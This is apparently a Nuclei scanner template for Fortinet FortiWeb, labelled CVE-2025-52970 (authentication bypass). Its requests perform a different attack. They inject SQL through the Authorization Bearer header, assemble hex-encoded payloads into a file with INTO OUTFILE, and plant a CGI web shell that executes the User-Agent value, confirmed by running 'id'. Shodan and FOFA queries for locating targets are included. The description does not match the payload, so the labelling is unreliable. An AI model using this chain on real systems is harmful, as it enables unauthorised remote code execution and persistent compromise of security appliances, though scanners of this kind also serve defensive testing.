id: CVE-2025-52970

info:
  name: Fortinet FortiWeb - Authentication Bypass to Admin Privilege
  author: Sourabh-Sahu
  severity: high
  description: |
    A improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request.
  impact: |
    Unauthenticated remote attackers can gain administrative privileges, leading to full control over the device.
  remediation: |
    Update to a version later than 7.6.3, 7.4.7, 7.2.10, or 7.0.10 or the latest available version.
  reference:
    - https://github.com/imbas007/POC-CVE-2025-52970/blob/main/README.md
    - https://github.com/34zY/CVE-2025-52970
    - https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-52970
    epss-score: 0.19703
    epss-percentile: 0.95523
    cwe-id: CWE-223
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 26
    vendor: Fortinet
    product: FortiWeb
    shodan-query:
      - http.title:"FortiWeb"
      - http.title:"Fortinet"
    fofa-query: app="Fortinet-FortiWeb"
    google-query: intitle:"FortiWeb" "login"
  tags: cve,cve2025fortinet,fortiweb,auth-bypass,priv-esc,vkev,intrusive

variables:
  f_cgi: "{{rand_text_alpha(6)}}.cgi"
  tf_cgi: "{{rand_text_alpha(2)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "name=\"secretkey")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x23212f62696e2f7368202d2d200d0a70)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x72696e74662022436f6e74656e742d54)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x7970653a20746578742f68746d6c5c72)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x5c6e223b7072696e746620225c725c6e)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x223b6576616c2024485454505f555345)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x525f4147454e54)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/migadmin/cgi-bin/{{f_cgi}}'/**/FIELDS/**/ESCAPED/**/BY/**/'';--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x696d706f7274206f732023200d0a6f73)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e73797374656d282763686d6f64202b)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x78202f6d696761646d696e2f6367692d)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x{{hex_encode(concat("bin/", f_cgi, " && rm "))}})/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x202d66202f7661722f6c6f672f6c6962)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2f707974686f6e332e31302f70796c6162)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e707927292023)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'';--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'

      - |
        GET /cgi-bin/ml-draw.py HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /cgi-bin/{{f_cgi}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: id

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
        condition: and
# digest: 4a0a00473045022100f2132e1e5d3a040214faea40cbbbfdb0da6dabb1245825117a6c7aa6d990b9e402203a3c040bb02d2424b5af7eb09be4d632ebd419077af95924741c50ea420c8e16:922c64590222798bb761d5b6d8e72950